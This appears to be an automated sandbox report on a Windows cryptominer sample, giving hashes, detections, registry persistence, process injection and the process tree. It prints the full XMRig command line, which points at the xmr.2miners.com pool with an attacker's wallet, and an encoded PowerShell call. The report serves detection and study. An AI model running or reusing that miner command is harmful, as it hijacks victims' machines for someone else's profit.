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Analysis
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max time kernel
162s -
max time network
164s -
platform
windows10-2004_x64 -
resource
win10v2004-20230221-en -
resource tags
arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system -
submitted
08/03/2023, 12:46
Static task
static1
Behavioral task
behavioral1
Sample
8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe
Resource
win7-20230220-en
Behavioral task
behavioral2
Sample
8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe
Resource
win10v2004-20230221-en
General
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Target
8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe
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Size
4.9MB
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MD5
067f1db9fbb391bc49dc3fa18a703b94
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SHA1
b533f7effa5249b8a59074c1a841c09ee644886e
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SHA256
8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407
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SHA512
f7d303e01a62573e4cd409fd673e198c24b0703f255c799966ef580d593f2bb5285db546e7b0d3d2c3de4a04c7509273b0fe8aef2bf7870f6b2586cdde7fb8e0
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SSDEEP
49152:wX42LgSkkLyyn3NWaZGTqE7s+9p7dx60cWkYtXAmd4NNNQazPUd6birCa9YioXcu:E+p7dx60BtQmdgVYd6b7a97oXc7u
Malware Config
Signatures
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XMRig Miner payload 2 IoCs
resource yara_rule behavioral2/memory/1704-2325-0x0000000140000000-0x00000001407CD000-memory.dmp xmrig behavioral2/memory/1704-2329-0x0000000140000000-0x00000001407CD000-memory.dmp xmrig -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe = "\"C:\\Users\\Admin\\AppData\\Roaming\\8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe\"" 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 4952 set thread context of 3112 4952 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 90 PID 3112 set thread context of 1704 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 102 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1464 powershell.exe 1464 powershell.exe 4952 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 660 Process not Found -
Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeDebugPrivilege 1464 powershell.exe Token: SeDebugPrivilege 4952 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe Token: SeDebugPrivilege 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe Token: SeLockMemoryPrivilege 1704 AddInProcess.exe Token: SeLockMemoryPrivilege 1704 AddInProcess.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 1704 AddInProcess.exe -
Suspicious use of WriteProcessMemory 22 IoCs
description pid Process procid_target PID 4952 wrote to memory of 1464 4952 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 83 PID 4952 wrote to memory of 1464 4952 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 83 PID 4952 wrote to memory of 3112 4952 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 90 PID 4952 wrote to memory of 3112 4952 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 90 PID 4952 wrote to memory of 3112 4952 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 90 PID 4952 wrote to memory of 3112 4952 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 90 PID 4952 wrote to memory of 3112 4952 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 90 PID 4952 wrote to memory of 3112 4952 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 90 PID 3112 wrote to memory of 1704 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 102 PID 3112 wrote to memory of 1704 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 102 PID 3112 wrote to memory of 1704 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 102 PID 3112 wrote to memory of 1704 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 102 PID 3112 wrote to memory of 1704 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 102 PID 3112 wrote to memory of 1704 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 102 PID 3112 wrote to memory of 1704 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 102 PID 3112 wrote to memory of 1704 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 102 PID 3112 wrote to memory of 1704 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 102 PID 3112 wrote to memory of 1704 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 102 PID 3112 wrote to memory of 1704 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 102 PID 3112 wrote to memory of 1704 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 102 PID 3112 wrote to memory of 1704 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 102 PID 3112 wrote to memory of 1704 3112 8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe 102
Processes
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C:\Users\Admin\AppData\Local\Temp\8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe"C:\Users\Admin\AppData\Local\Temp\8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe"1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4952 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1464
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C:\Users\Admin\AppData\Local\Temp\8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exeC:\Users\Admin\AppData\Local\Temp\8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe2⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3112 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o xmr.2miners.com:2222 -u 44NWGWCDxqX6iv5rBpy8SgZkuVg2N2ymnaZA4KcqF645XbfKpx9MvXXJ4MFSwiNQqcEMQ1Hge5bjmgYXsjG89gEF6M8tnFB.miners2 -p mkay --algo rx/0 --cpu-max-threads-hint=503⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1704
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\8b861b1428fc7b34a8845303bf0a70bcf7a97fee14cfac5ee467293eec7ff407.exe.log
Filesize1KB
MD5819dc687f4da92e5850508c10429fc9f
SHA1d3441a3c46ddc99d03583be6b2ab02615baa60be
SHA256357a8ea90e614160a9179ac7eb5e3ff159855a037b1bd0deecbd7d3e3a243119
SHA512671735133e2643d2ec84511cb0a89dad9082e6255020fef4cd4e37b7a7207a06a36f4f22c646ce6854d6e244b2b9e090dc87aa3309a349d5b20a1a014bf1f7ee
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82